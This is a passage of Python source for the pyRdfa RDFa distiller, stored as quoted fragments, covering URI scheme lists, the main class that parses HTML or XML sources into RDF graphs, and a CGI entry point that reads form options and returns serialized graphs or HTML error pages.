wikipedia\nregistered_iana_schemes = [\n\t\"aaa\",\"aaas\",\"acap\",\"cap\",\"cid\",\"crid\",\"data\",\"dav\",\"dict\",\"did\",\"dns\",\"fax\",\"file\", \"ftp\",\"geo\",\"go\",\n\t\"gopher\",\"h323\",\"http\",\"https\",\"iax\",\"icap\",\"im\",\"imap\",\"info\",\"ipp\",\"iris\",\"ldap\", \"lsid\",\n\t\"mailto\",\"mid\",\"modem\",\"msrp\",\"msrps\", \"mtqp\", \"mupdate\",\"news\",\"nfs\",\"nntp\",\"opaquelocktoken\",\n\t\"pop\",\"pres\", \"prospero\",\"rstp\",\"rsync\", \"service\",\"shttp\",\"sieve\",\"sip\",\"sips\", \"sms\", \"snmp\", \"soap\", \"tag\",\n\t\"tel\",\"telnet\", \"tftp\", \"thismessage\",\"tn3270\",\"tip\",\"tv\",\"urn\",\"vemmi\",\"wais\",\"ws\", \"wss\", \"xmpp\"\n]", "# This comes from wikipedia, too\nunofficial_common = [\n\t\"about\", \"adiumxtra\", \"aim\", \"apt\", \"afp\", \"aw\", \"bitcoin\", \"bolo\", \"callto\", \"chrome\", \"coap\",\n\t\"content\", \"cvs\", \"doi\", \"ed2k\", \"facetime\", \"feed\", \"finger\", \"fish\", \"git\", \"gg\",\n\t\"gizmoproject\", \"gtalk\", \"irc\", \"ircs\", \"irc6\", \"itms\", \"jar\", \"javascript\",\n\t\"keyparc\", \"lastfm\", \"ldaps\", \"magnet\", \"maps\", \"market\", \"message\", \"mms\",\n\t\"msnim\", \"mumble\", \"mvn\", \"notes\", \"palm\", \"paparazzi\", \"psync\", \"rmi\",\n\t\"secondlife\", \"sgn\", \"skype\", \"spotify\", \"ssh\", \"sftp\", \"smb\", \"soldat\",\n\t\"steam\", \"svn\", \"teamspeak\", \"things\", \"udb\", \"unreal\", \"ut2004\",\n\t\"ventrillo\", \"view-source\", \"webcal\", \"wtai\", \"wyciwyg\", \"xfire\", \"xri\", \"ymsgr\"\n]", "# These come from the IANA page\nhistorical_iana_schemes = [\n\t\"fax\", \"mailserver\", \"modem\", \"pack\", \"prospero\", \"snews\", \"videotex\", \"wais\"\n]", "provisional_iana_schemes = [\n\t\"afs\", \"dtn\", \"dvb\", \"icon\", \"ipn\", \"jms\", \"oid\", \"rsync\", \"ni\"\n]", "other_used_schemes = [\n\t\"hdl\", \"isbn\", \"issn\", \"mstp\", \"rtmp\", \"rtspu\", \"stp\"\n]", "uri_schemes = registered_iana_schemes + unofficial_common + historical_iana_schemes + provisional_iana_schemes + other_used_schemes", "# List of built-in transformers that are to be run regardless, because they are part of the RDFa spec\nbuiltInTransformers = [\n\tempty_safe_curie, top_about, vocab_for_role\n]", "#########################################################################################################\nclass pyRdfa :\n\t\"\"\"Main processing class for the distiller", "\t@ivar options: an instance of the L{Options} class\n\t@ivar media_type: the preferred default media type, possibly set at initialization\n\t@ivar base: the base value, possibly set at initialization\n\t@ivar http_status: HTTP Status, to be returned when the package is used via a CGI entry. Initially set to 200, may be modified by exception handlers\n\t\"\"\"\n\tdef __init__(self, options = None, base = \"\", media_type = \"\", rdfa_version = None) :\n\t\t\"\"\"\n\t\t@keyword options: Options for the distiller\n\t\t@type options: L{Options}\n\t\t@keyword base: URI for the default \"base\" value (usually the URI of the file to be processed)\n\t\t@keyword media_type: explicit setting of the preferred media type (a.k.a. content type) of the the RDFa source\n\t\t@keyword rdfa_version: the RDFa version that should be used. If not set, the value of the global L{rdfa_current_version} variable is used\n\t\t\"\"\"\n\t\tself.http_status = 200", "\t\tself.base = base\n\t\tif base == \"\" :\n\t\t\tself.required_base = None\n\t\telse :\n\t\t\tself.required_base\t= base\n\t\tself.charset \t\t= None", "\t\t# predefined content type\n\t\tself.media_type = media_type", "\t\tif options == None :\n\t\t\tself.options = Options()\n\t\telse :\n\t\t\tself.options = options", "\t\tif media_type != \"\" :\n\t\t\tself.options.set_host_language(self.media_type)", "\t\tif rdfa_version is not None :\n\t\t\tself.rdfa_version = rdfa_version\n\t\telse :\n\t\t\tself.rdfa_version = None", "\tdef _get_input(self, name) :\n\t\t\"\"\"\n\t\tTrying to guess whether \"name\" is a URI or a string (for a file); it then tries to open this source accordingly,\n\t\treturning a file-like object. If name is none of these, it returns the input argument (that should\n\t\tbe, supposedly, a file-like object already).", "\t\tIf the media type has not been set explicitly at initialization of this instance,\n\t\tthe method also sets the media_type based on the HTTP GET response or the suffix of the file. See\n\t\tL{host.preferred_suffixes} for the suffix to media type mapping.", "\t\t@param name: identifier of the input source\n\t\t@type name: string or a file-like object\n\t\t@return: a file like object if opening \"name\" is possible and successful, \"name\" otherwise\n\t\t\"\"\"\n\t\ttry :\n\t\t\t# Python 2 branch\n\t\t\tisstring = isinstance(name, basestring)\n\t\texcept :\n\t\t\t# Python 3 branch\n\t\t\tisstring = isinstance(name, str)", "\t\ttry :\n\t\t\tif isstring :\n\t\t\t\t# check if this is a URI, ie, if there is a valid 'scheme' part\n\t\t\t\t# otherwise it is considered to be a simple file\n\t\t\t\tif urlparse(name)[0] != \"\" :\n\t\t\t\t\turl_request \t = URIOpener(name)\n\t\t\t\t\tself.base \t\t = url_request.location\n\t\t\t\t\tif self.media_type == \"\" :\n\t\t\t\t\t\tif url_request.content_type in content_to_host_language :\n\t\t\t\t\t\t\tself.media_type = url_request.content_type\n\t\t\t\t\t\telse :\n\t\t\t\t\t\t\tself.media_type = MediaTypes.xml\n\t\t\t\t\t\tself.options.set_host_language(self.media_type)\n\t\t\t\t\tself.charset = url_request.charset\n\t\t\t\t\tif self.required_base == None :\n\t\t\t\t\t\tself.required_base = name\n\t\t\t\t\treturn url_request.data\n\t\t\t\telse :\n\t\t\t\t\t# Creating a File URI for this thing\n\t\t\t\t\tif self.required_base == None :\n\t\t\t\t\t\tself.required_base = \"file://\" + os.path.join(os.getcwd(),name)\n\t\t\t\t\tif self.media_type == \"\" :\n\t\t\t\t\t\tself.media_type = MediaTypes.xml\n\t\t\t\t\t\t# see if the default should be overwritten\n\t\t\t\t\t\tfor suffix in preferred_suffixes :\n\t\t\t\t\t\t\tif name.endswith(suffix) :\n\t\t\t\t\t\t\t\tself.media_type = preferred_suffixes[suffix]\n\t\t\t\t\t\t\t\tself.charset = 'utf-8'\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tself.options.set_host_language(self.media_type)\n\t\t\t\t\treturn open(name)\n\t\t\telse :\n\t\t\t\treturn name\n\t\texcept HTTPError :\n\t\t\traise sys.exc_info()[1]\n\t\texcept RDFaError as e :\n\t\t\traise e\n\t\texcept :\n\t\t\t(type, value, traceback) = sys.exc_info()\n\t\t\traise FailedSource(value)\n", "", "\t####################################################################################################################\n\t# Externally used methods\n\t#\n\tdef graph_from_DOM(self, dom, graph = None, pgraph = None) :\n\t\t\"\"\"\n\t\tExtract the RDF Graph from a DOM tree. This is where the real processing happens. All other methods get down to this\n\t\tone, eventually (e.g., after opening a URI and parsing it into a DOM).\n\t\t@param dom: a DOM Node element, the top level entry node for the whole tree (i.e., the C{dom.documentElement} is used to initiate processing down the node hierarchy)\n\t\t@keyword graph: an RDF Graph (if None, than a new one is created)\n\t\t@type graph: rdflib Graph instance.\n\t\t@keyword pgraph: an RDF Graph to hold (possibly) the processor graph content. If None, and the error/warning triples are to be generated, they will be added to the returned graph. Otherwise they are stored in this graph.\n\t\t@type pgraph: rdflib Graph instance\n\t\t@return: an RDF Graph\n\t\t@rtype: rdflib Graph instance\n\t\t\"\"\"\n\t\tdef copyGraph(tog, fromg) :\n\t\t\tfor t in fromg :\n\t\t\t\ttog.add(t)\n\t\t\tfor k,ns in fromg.namespaces() :\n\t\t\t\ttog.bind(k,ns)", "\t\tif graph == None :\n\t\t\t# Create the RDF Graph, that will contain the return triples...\n\t\t\tgraph = Graph()", "\t\t# this will collect the content, the 'default graph', as called in the RDFa spec\n\t\tdefault_graph = Graph()", "\t\t# get the DOM tree\n\t\ttopElement = dom.documentElement", "\t\t# Create the initial state. This takes care of things\n\t\t# like base, top level namespace settings, etc.\n\t\tstate = ExecutionContext(topElement, default_graph, base=self.required_base if self.required_base != None else \"\", options=self.options, rdfa_version=self.rdfa_version)", "\t\t# Perform the built-in and external transformations on the HTML tree.\n\t\tfor trans in self.options.transformers + builtInTransformers :\n\t\t\ttrans(topElement, self.options, state)", "\t\t# This may have changed if the state setting detected an explicit version information:\n\t\tself.rdfa_version = state.rdfa_version", "\t\t# The top level subject starts with the current document; this\n\t\t# is used by the recursion\n\t\t# this function is the real workhorse\n\t\tparse_one_node(topElement, default_graph, None, state, [])", "\t\t# Massage the output graph in term of rdfa:Pattern and rdfa:copy\n\t\thandle_prototypes(default_graph)", "\t\t# If the RDFS expansion has to be made, here is the place...\n\t\tif self.options.vocab_expansion :\n\t\t\tfrom .rdfs.process import process_rdfa_sem\n\t\t\tprocess_rdfa_sem(default_graph, self.options)", "\t\t# Experimental feature: nothing for now, this is kept as a placeholder\n\t\tif self.options.experimental_features :\n\t\t\tpass", "\t\t# What should be returned depends on the way the options have been set up\n\t\tif self.options.output_default_graph :\n\t\t\tcopyGraph(graph, default_graph)\n\t\t\tif self.options.output_processor_graph :\n\t\t\t\tif pgraph != None :\n\t\t\t\t\tcopyGraph(pgraph, self.options.processor_graph.graph)\n\t\t\t\telse :\n\t\t\t\t\tcopyGraph(graph, self.options.processor_graph.graph)\n\t\telif self.options.output_processor_graph :\n\t\t\tif pgraph != None :\n\t\t\t\tcopyGraph(pgraph, self.options.processor_graph.graph)\n\t\t\telse :\n\t\t\t\tcopyGraph(graph, self.options.processor_graph.graph)", "\t\t# this is necessary if several DOM trees are handled in a row...\n\t\tself.options.reset_processor_graph()", "\t\treturn graph", "\tdef graph_from_source(self, name, graph = None, rdfOutput = False, pgraph = None) :\n\t\t\"\"\"\n\t\tExtract an RDF graph from an RDFa source. The source is parsed, the RDF extracted, and the RDFa Graph is\n\t\treturned. This is a front-end to the L{pyRdfa.graph_from_DOM} method.", "\t\t@param name: a URI, a file name, or a file-like object\n\t\t@param graph: rdflib Graph instance. If None, a new one is created.\n\t\t@param pgraph: rdflib Graph instance for the processor graph. If None, and the error/warning triples are to be generated, they will be added to the returned graph. Otherwise they are stored in this graph.\n\t\t@param rdfOutput: whether runtime exceptions should be turned into RDF and returned as part of the processor graph\n\t\t@return: an RDF Graph\n\t\t@rtype: rdflib Graph instance\n\t\t\"\"\"\n\t\tdef copyErrors(tog, options) :\n\t\t\tif tog == None :\n\t\t\t\ttog = Graph()\n\t\t\tif options.output_processor_graph :\n\t\t\t\tfor t in options.processor_graph.graph :\n\t\t\t\t\ttog.add(t)\n\t\t\t\t\tif pgraph != None : pgraph.add(t)\n\t\t\t\tfor k,ns in options.processor_graph.graph.namespaces() :\n\t\t\t\t\ttog.bind(k,ns)\n\t\t\t\t\tif pgraph != None : pgraph.bind(k,ns)\n\t\t\toptions.reset_processor_graph()\n\t\t\treturn tog", "\t\t# Separating this for a forward Python 3 compatibility\n\t\ttry :\n\t\t\t# Python 2 branch\n\t\t\tisstring = isinstance(name, basestring)\n\t\texcept :\n\t\t\t# Python 3 branch\n\t\t\tisstring = isinstance(name, str)", "\t\ttry :\n\t\t\t# First, open the source... Possible HTTP errors are returned as error triples\n\t\t\tinput = None\n\t\t\ttry :\n\t\t\t\tinput = self._get_input(name)\n\t\t\texcept FailedSource as ex :\n\t\t\t\tf = sys.exc_info()[1]\n\t\t\t\tself.http_status = 400\n\t\t\t\tif not rdfOutput : raise Exception(ex.msg)\n\t\t\t\terr = self.options.add_error(ex.msg, FileReferenceError, name)\n\t\t\t\tself.options.processor_graph.add_http_context(err, 400)\n\t\t\t\treturn copyErrors(graph, self.options)\n\t\t\texcept HTTPError as ex :\n\t\t\t\th = sys.exc_info()[1]\n\t\t\t\tself.http_status = h.http_code\n\t\t\t\tif not rdfOutput : raise Exception(ex.msg)\n\t\t\t\terr = self.options.add_error(\"HTTP Error: %s (%s)\" % (h.http_code,h.msg), HTError, name)\n\t\t\t\tself.options.processor_graph.add_http_context(err, h.http_code)\n\t\t\t\treturn copyErrors(graph, self.options)\n\t\t\texcept RDFaError as ex:\n\t\t\t\te = sys.exc_info()[1]\n\t\t\t\tself.http_status = 500\n\t\t\t\t# Something nasty happened:-(\n\t\t\t\tif not rdfOutput : raise Exception(ex.msg)\n\t\t\t\terr = self.options.add_error(str(ex.msg), context = name)\n\t\t\t\tself.options.processor_graph.add_http_context(err, 500)\n\t\t\t\treturn copyErrors(graph, self.options)\n\t\t\texcept Exception as ex :\n\t\t\t\te = sys.exc_info()[1]\n\t\t\t\tself.http_status = 500\n\t\t\t\t# Something nasty happened:-(\n\t\t\t\tif not rdfOutput : raise ex\n\t\t\t\terr = self.options.add_error(str(e), context = name)\n\t\t\t\tself.options.processor_graph.add_http_context(err, 500)\n\t\t\t\treturn copyErrors(graph, self.options)", "\t\t\tdom = None\n\t\t\ttry :\n\t\t\t\tmsg = \"\"\n\t\t\t\tparser = None\n\t\t\t\tif self.options.host_language == HostLanguage.html5 :\n\t\t\t\t\timport warnings\n\t\t\t\t\twarnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\t\t\t\t\timport html5lib\n\t\t\t\t\tparser = html5lib.HTMLParser(tree=html5lib.treebuilders.getTreeBuilder(\"dom\"))\n\t\t\t\t\tif self.charset :\n\t\t\t\t\t\t# This means the HTTP header has provided a charset, or the\n\t\t\t\t\t\t# file is a local file when we suppose it to be a utf-8\n\t\t\t\t\t\t#\n\t\t\t\t\t\t# 2020-01-20, Ivan Herman\n\t\t\t\t\t\t# for some reasons the python3 version ran into a problem with this html5lib call\n\t\t\t\t\t\t# the override_encoding argument was not accepted.\n\t\t\t\t\t\t# dom = parser.parse(input, override_encoding=self.charset)\n\t\t\t\t\t\tdom = parser.parse(input)\n\t\t\t\t\telse :\n\t\t\t\t\t\t# No charset set. The HTMLLib parser tries to sniff into the\n\t\t\t\t\t\t# the file to find a meta header for the charset; if that\n\t\t\t\t\t\t# works, fine, otherwise it falls back on window-...\n\t\t\t\t\t\tdom = parser.parse(input)", "\t\t\t\t\ttry :\n\t\t\t\t\t\tif isstring :\n\t\t\t\t\t\t\tinput.close()\n\t\t\t\t\t\t\tinput = self._get_input(name)\n\t\t\t\t\t\telse :\n\t\t\t\t\t\t\tinput.seek(0)\n\t\t\t\t\t\tfrom .host import adjust_html_version\n\t\t\t\t\t\tself.rdfa_version = adjust_html_version(input, self.rdfa_version)\n\t\t\t\t\texcept :\n\t\t\t\t\t\t# if anything goes wrong, it is not really important; rdfa version stays what it was...\n\t\t\t\t\t\tpass", "\t\t\t\telse :\n\t\t\t\t\tfrom .host import adjust_xhtml_and_version\n\t\t\t\t\tif isinstance(input, StringIO) or isinstance(input, file):\n\t\t\t\t\t\tparse = xml.dom.minidom.parse\n\t\t\t\t\telse:\n\t\t\t\t\t\tparse = xml.dom.minidom.parseString\n\t\t\t\t\tdom = parse(input)\n\t\t\t\t\t(adjusted_host_language, version) = adjust_xhtml_and_version(dom, self.options.host_language, self.rdfa_version)\n\t\t\t\t\tself.options.host_language = adjusted_host_language\n\t\t\t\t\tself.rdfa_version = version\n\t\t\texcept ImportError :\n\t\t\t\tmsg = \"HTML5 parser not available. Try installing html5lib <http://code.google.com/p/html5lib>\"\n\t\t\t\traise ImportError(msg)\n\t\t\texcept Exception :\n\t\t\t\te = sys.exc_info()[1]\n\t\t\t\t# These are various parsing exception. Per spec, this is a case when\n\t\t\t\t# error triples MUST be returned, ie, the usage of rdfOutput (which switches between an HTML formatted\n\t\t\t\t# return page or a graph with error triples) does not apply\n\t\t\t\terr = self.options.add_error(str(e), context = name)\n\t\t\t\tself.http_status = 400\n\t\t\t\tself.options.processor_graph.add_http_context(err, 400)\n\t\t\t\treturn copyErrors(graph, self.options)", "\t\t\t# If we got here, we have a DOM tree to operate on...\n\t\t\treturn self.graph_from_DOM(dom, graph, pgraph)\n\t\texcept Exception :\n\t\t\t# Something nasty happened during the generation of the graph...\n\t\t\t(a,b,c) = sys.exc_info()\n\t\t\tsys.excepthook(a,b,c)\n\t\t\tif isinstance(b, ImportError) :\n\t\t\t\tself.http_status = None\n\t\t\telse :\n\t\t\t\tself.http_status = 500\n\t\t\tif not rdfOutput : raise b\n\t\t\terr = self.options.add_error(str(b), context = name)\n\t\t\tself.options.processor_graph.add_http_context(err, 500)\n\t\t\treturn copyErrors(graph, self.options)", "\tdef rdf_from_sources(self, names, outputFormat = \"turtle\", rdfOutput = False) :\n\t\t\"\"\"\n\t\tExtract and RDF graph from a list of RDFa sources and serialize them in one graph. The sources are parsed, the RDF\n\t\textracted, and serialization is done in the specified format.\n\t\t@param names: list of sources, each can be a URI, a file name, or a file-like object\n\t\t@keyword outputFormat: serialization format. Can be one of \"turtle\", \"n3\", \"xml\", \"pretty-xml\", \"nt\". \"xml\", \"pretty-xml\", \"json\" or \"json-ld\". \"turtle\" and \"n3\", \"xml\" and \"pretty-xml\", and \"json\" and \"json-ld\" are synonyms, respectively. Note that the JSON-LD serialization works with RDFLib 3.* only.\n\t\t@keyword rdfOutput: controls what happens in case an exception is raised. If the value is False, the caller is responsible handling it; otherwise a graph is returned with an error message included in the processor graph\n\t\t@type rdfOutput: boolean\n\t\t@return: a serialized RDF Graph\n\t\t@rtype: string\n\t\t\"\"\"", "", "\t\t# This is better because it gives access to the various, non-standard serializations\n\t\t# If it does not work because the extra are not installed, fall back to the standard\n\t\t# rdlib distribution...", "", "\t\tif rdflib.__version__ >= \"3.0.0\" :\n\t\t\tgraph = Graph()\n\t\telse :\n\t\t\t# We may need the extra utilities for older rdflib versions...\n\t\t\ttry :\n\t\t\t\tfrom pyRdfaExtras import MyGraph\n\t\t\t\tgraph = MyGraph()\n\t\t\texcept :\n\t\t\t\tgraph = Graph()", "\t\t# graph.bind(\"xsd\", Namespace('http://www.w3.org/2001/XMLSchema#'))\n\t\t# the value of rdfOutput determines the reaction on exceptions...\n\t\tfor name in names :\n\t\t\tself.graph_from_source(name, graph, rdfOutput)", "\t\t# Stupid difference between python2 and python3...\n\t\tif PY3 :\n\t\t\treturn str(graph.serialize(format=outputFormat), encoding='utf-8')\n\t\telse :\n\t\t\treturn graph.serialize(format=outputFormat)", "\n\tdef rdf_from_source(self, name, outputFormat = \"turtle\", rdfOutput = False) :\n\t\t\"\"\"\n\t\tExtract and RDF graph from an RDFa source and serialize it in one graph. The source is parsed, the RDF\n\t\textracted, and serialization is done in the specified format.\n\t\t@param name: a URI, a file name, or a file-like object\n\t\t@keyword outputFormat: serialization format. Can be one of \"turtle\", \"n3\", \"xml\", \"pretty-xml\", \"nt\". \"xml\", \"pretty-xml\", or \"json-ld\". \"turtle\" and \"n3\", or \"xml\" and \"pretty-xml\" are synonyms, respectively. Note that the JSON-LD serialization works with RDFLib 3.* only.\n\t\t@keyword rdfOutput: controls what happens in case an exception is raised. If the value is False, the caller is responsible handling it; otherwise a graph is returned with an error message included in the processor graph\n\t\t@type rdfOutput: boolean\n\t\t@return: a serialized RDF Graph\n\t\t@rtype: string\n\t\t\"\"\"\n\t\treturn self.rdf_from_sources([name], outputFormat, rdfOutput)", "################################################# CGI Entry point\ndef processURI(uri, outputFormat, form={}) :\n\t\"\"\"The standard processing of an RDFa uri options in a form; used as an entry point from a CGI call.", "\tThe call accepts extra form options (i.e., HTTP GET options) as follows:", "\t - C{graph=[output|processor|output,processor|processor,output]} specifying which graphs are returned. Default: C{output}\n\t - C{space_preserve=[true|false]} means that plain literals are normalized in terms of white spaces. Default: C{false}\n\t - C{rfa_version} provides the RDFa version that should be used for distilling. The string should be of the form \"1.0\" or \"1.1\". Default is the highest version the current package implements, currently \"1.1\"\n\t - C{host_language=[xhtml,html,xml]} : the host language. Used when files are uploaded or text is added verbatim, otherwise the HTTP return header should be used. Default C{xml}\n\t - C{embedded_rdf=[true|false]} : whether embedded turtle or RDF/XML content should be added to the output graph. Default: C{false}\n\t - C{vocab_expansion=[true|false]} : whether the vocabularies should be expanded through the restricted RDFS entailment. Default: C{false}\n\t - C{vocab_cache=[true|false]} : whether vocab caching should be performed or whether it should be ignored and vocabulary files should be picked up every time. Default: C{false}\n\t - C{vocab_cache_report=[true|false]} : whether vocab caching details should be reported. Default: C{false}\n\t - C{vocab_cache_bypass=[true|false]} : whether vocab caches have to be regenerated every time. Default: C{false}\n\t - C{rdfa_lite=[true|false]} : whether warnings should be generated for non RDFa Lite attribute usage. Default: C{false}", "\t@param uri: URI to access. Note that the C{text:} and C{uploaded:} fake URI values are treated separately; the former is for textual intput (in which case a StringIO is used to get the data) and the latter is for uploaded file, where the form gives access to the file directly.\n\t@param outputFormat: serialization format, as defined by the package. Currently \"xml\", \"turtle\", \"nt\", or \"json\". Default is \"turtle\", also used if any other string is given.\n\t@param form: extra call options (from the CGI call) to set up the local options\n\t@type form: cgi FieldStorage instance\n\t@return: serialized graph\n\t@rtype: string\n\t\"\"\"\n\tdef _get_option(param, compare_value, default) :\n\t\tparam_old = param.replace('_','-')\n\t\tif param in list(form.keys()) :\n\t\t\tval = form.getfirst(param).lower()\n\t\t\treturn val == compare_value\n\t\telif param_old in list(form.keys()) :\n\t\t\t# this is to ensure the old style parameters are still valid...\n\t\t\t# in the old days I used '-' in the parameters, the standard favours '_'\n\t\t\tval = form.getfirst(param_old).lower()\n\t\t\treturn val == compare_value\n\t\telse :\n\t\t\treturn default", "\tif uri == \"uploaded:\" :\n\t\tinput\t= form[\"uploaded\"].file\n\t\tbase\t= \"\"\n\telif uri == \"text:\" :\n\t\tinput\t= StringIO(form.getfirst(\"text\"))\n\t\tbase\t= \"\"\n\telse :\n\t\tinput\t= uri\n\t\tbase\t= uri", "\tif \"rdfa_version\" in list(form.keys()) :\n\t\trdfa_version = form.getfirst(\"rdfa_version\")\n\telse :\n\t\trdfa_version = None", "\t# working through the possible options\n\t# Host language: HTML, XHTML, or XML\n\t# Note that these options should be used for the upload and inline version only in case of a form\n\t# for real uris the returned content type should be used\n\tif \"host_language\" in list(form.keys()) :\n\t\tif form.getfirst(\"host_language\").lower() == \"xhtml\" :\n\t\t\tmedia_type = MediaTypes.xhtml\n\t\telif form.getfirst(\"host_language\").lower() == \"html\" :\n\t\t\tmedia_type = MediaTypes.html\n\t\telif form.getfirst(\"host_language\").lower() == \"svg\" :\n\t\t\tmedia_type = MediaTypes.svg\n\t\telif form.getfirst(\"host_language\").lower() == \"atom\" :\n\t\t\tmedia_type = MediaTypes.atom\n\t\telse :\n\t\t\tmedia_type = MediaTypes.xml\n\telse :\n\t\tmedia_type = \"\"", "\ttransformers = []", "\tcheck_lite = \"rdfa_lite\" in list(form.keys()) and form.getfirst(\"rdfa_lite\").lower() == \"true\"", "\t# The code below is left for backward compatibility only. In fact, these options are not exposed any more,\n\t# they are not really in use\n\tif \"extras\" in list(form.keys()) and form.getfirst(\"extras\").lower() == \"true\" :\n\t\tfrom .transform.metaname \timport meta_transform\n\t\tfrom .transform.OpenID \timport OpenID_transform\n\t\tfrom .transform.DublinCore \timport DC_transform\n\t\tfor t in [OpenID_transform, DC_transform, meta_transform] :\n\t\t\ttransformers.append(t)\n\telse :\n\t\tif \"extra-meta\" in list(form.keys()) and form.getfirst(\"extra-meta\").lower() == \"true\" :\n\t\t\tfrom .transform.metaname import meta_transform\n\t\t\ttransformers.append(meta_transform)\n\t\tif \"extra-openid\" in list(form.keys()) and form.getfirst(\"extra-openid\").lower() == \"true\" :\n\t\t\tfrom .transform.OpenID import OpenID_transform\n\t\t\ttransformers.append(OpenID_transform)\n\t\tif \"extra-dc\" in list(form.keys()) and form.getfirst(\"extra-dc\").lower() == \"true\" :\n\t\t\tfrom .transform.DublinCore import DC_transform\n\t\t\ttransformers.append(DC_transform)", "\toutput_default_graph \t= True\n\toutput_processor_graph \t= False\n\t# Note that I use the 'graph' and the 'rdfagraph' form keys here. Reason is that\n\t# I used 'graph' in the previous versions, including the RDFa 1.0 processor,\n\t# so if I removed that altogether that would create backward incompatibilities\n\t# On the other hand, the RDFa 1.1 doc clearly refers to 'rdfagraph' as the standard\n\t# key.\n\ta = None\n\tif \"graph\" in list(form.keys()) :\n\t\ta = form.getfirst(\"graph\").lower()\n\telif \"rdfagraph\" in list(form.keys()) :\n\t\ta = form.getfirst(\"rdfagraph\").lower()\n\tif a != None :\n\t\tif a == \"processor\" :\n\t\t\toutput_default_graph \t= False\n\t\t\toutput_processor_graph \t= True\n\t\telif a == \"processor,output\" or a == \"output,processor\" :\n\t\t\toutput_processor_graph \t= True", "\tembedded_rdf = _get_option( \"embedded_rdf\", \"true\", False)\n\tspace_preserve = _get_option( \"space_preserve\", \"true\", True)\n\tvocab_cache = _get_option( \"vocab_cache\", \"true\", True)\n\tvocab_cache_report = _get_option( \"vocab_cache_report\", \"true\", False)\n\trefresh_vocab_cache = _get_option( \"vocab_cache_refresh\", \"true\", False)\n\tvocab_expansion = _get_option( \"vocab_expansion\", \"true\", False)\n\tif vocab_cache_report : output_processor_graph = True", "\toptions = Options(output_default_graph = output_default_graph,\n\t\t\t\t\t output_processor_graph = output_processor_graph,\n\t\t\t\t\t space_preserve = space_preserve,\n\t\t\t\t\t transformers = transformers,\n\t\t\t\t\t vocab_cache = vocab_cache,\n\t\t\t\t\t vocab_cache_report = vocab_cache_report,\n\t\t\t\t\t refresh_vocab_cache = refresh_vocab_cache,\n\t\t\t\t\t vocab_expansion = vocab_expansion,\n\t\t\t\t\t embedded_rdf = embedded_rdf,\n\t\t\t\t\t check_lite = check_lite\n\t\t\t\t\t )\n\tprocessor = pyRdfa(options = options, base = base, media_type = media_type, rdfa_version = rdfa_version)", "\t# Decide the output format; the issue is what should happen in case of a top level error like an inaccessibility of\n\t# the html source: should a graph be returned or an HTML page with an error message?", "\t# decide whether HTML or RDF should be sent.\n\thtmlOutput = False\n\t#if 'HTTP_ACCEPT' in os.environ :\n\t#\tacc = os.environ['HTTP_ACCEPT']\n\t#\tpossibilities = ['text/html',\n\t#\t\t\t\t\t 'application/rdf+xml',\n\t#\t\t\t\t\t 'text/turtle; charset=utf-8',\n\t#\t\t\t\t\t 'application/json',\n\t#\t\t\t\t\t 'application/ld+json',\n\t#\t\t\t\t\t 'text/rdf+n3']\n\t#\n\t#\t# this nice module does content negotiation and returns the preferred format\n\t#\tsg = acceptable_content_type(acc, possibilities)\n\t#\thtmlOutput = (sg != None and sg[0] == content_type('text/html'))\n\t#\tos.environ['rdfaerror'] = 'true'", "\t# This is really for testing purposes only, it is an unpublished flag to force RDF output no\n\t# matter what\n\ttry :", "\t\tgraph = processor.rdf_from_source(input, outputFormat, rdfOutput = (\"forceRDFOutput\" in list(form.keys())) or not htmlOutput)", "\t\tif outputFormat == \"n3\" :\n\t\t\tretval = 'Content-Type: text/rdf+n3; charset=utf-8\\n'\n\t\telif outputFormat == \"nt\" or outputFormat == \"turtle\" :\n\t\t\tretval = 'Content-Type: text/turtle; charset=utf-8\\n'\n\t\telif outputFormat == \"json-ld\" or outputFormat == \"json\" :\n\t\t\tretval = 'Content-Type: application/ld+json; charset=utf-8\\n'\n\t\telse :\n\t\t\tretval = 'Content-Type: application/rdf+xml; charset=utf-8\\n'", "", "\t\tretval += '\\n'\n\t\tretval += graph\n\t\treturn retval\n\texcept HTTPError :\n\t\t(type,h,traceback) = sys.exc_info()\n\t\timport cgi", "\t\tretval = 'Content-type: text/html; charset=utf-8\\nStatus: %s \\n\\n' % h.http_code\n\t\tretval += \"<html>\\n\"\n\t\tretval += \"<head>\\n\"\n\t\tretval += \"<title>HTTP Error in distilling RDFa content</title>\\n\"\n\t\tretval += \"</head><body>\\n\"\n\t\tretval += \"<h1>HTTP Error in distilling RDFa content</h1>\\n\"\n\t\tretval += \"<p>HTTP Error: %s (%s)</p>\\n\" % (h.http_code,h.msg)\n\t\tretval += \"<p>On URI: <code>'%s'</code></p>\\n\" % cgi.escape(uri)\n\t\tretval +=\"</body>\\n\"\n\t\tretval +=\"</html>\\n\"\n\t\treturn retval\n\texcept :\n\t\t# This branch should occur only if an exception is really raised, ie, if it is not turned\n\t\t# into a graph value.\n\t\t(type,value,traceback) = sys.exc_info()", "\t\timport traceback, cgi", "\t\tretval = 'Content-type: text/html; charset=utf-8\\nStatus: %s\\n\\n' % processor.http_status\n\t\tretval += \"<html>\\n\"\n\t\tretval += \"<head>\\n\"\n\t\tretval += \"<title>Exception in RDFa processing</title>\\n\"\n\t\tretval += \"</head><body>\\n\"\n\t\tretval += \"<h1>Exception in distilling RDFa</h1>\\n\"\n\t\tretval += \"<pre>\\n\"\n\t\tstrio = StringIO()\n\t\ttraceback.print_exc(file=strio)\n\t\tretval += strio.getvalue()\n\t\tretval +=\"</pre>\\n\"\n\t\tretval +=\"<pre>%s</pre>\\n\" % value\n\t\tretval +=\"<h1>Distiller request details</h1>\\n\"\n\t\tretval +=\"<dl>\\n\"\n\t\tif uri == \"text:\" and \"text\" in form and form[\"text\"].value != None and len(form[\"text\"].value.strip()) != 0 :\n\t\t\tretval +=\"<dt>Text input:</dt><dd>%s</dd>\\n\" % cgi.escape(form[\"text\"].value).replace('\\n','<br/>')\n\t\telif uri == \"uploaded:\" :\n\t\t\tretval +=\"<dt>Uploaded file</dt>\\n\"\n\t\telse :\n\t\t\tretval +=\"<dt>URI received:</dt><dd><code>'%s'</code></dd>\\n\" % cgi.escape(uri)\n\t\tif \"host_language\" in list(form.keys()) :", "\t\t\tretval +=\"<dt>Media Type:</dt><dd>%s</dd>\\n\" % media_type", "\t\tif \"graph\" in list(form.keys()) :", "\t\t\tretval +=\"<dt>Requested graphs:</dt><dd>%s</dd>\\n\" % form.getfirst(\"graph\").lower()", "\t\telse :\n\t\t\tretval +=\"<dt>Requested graphs:</dt><dd>default</dd>\\n\"\n\t\tretval +=\"<dt>Output serialization format:</dt><dd> 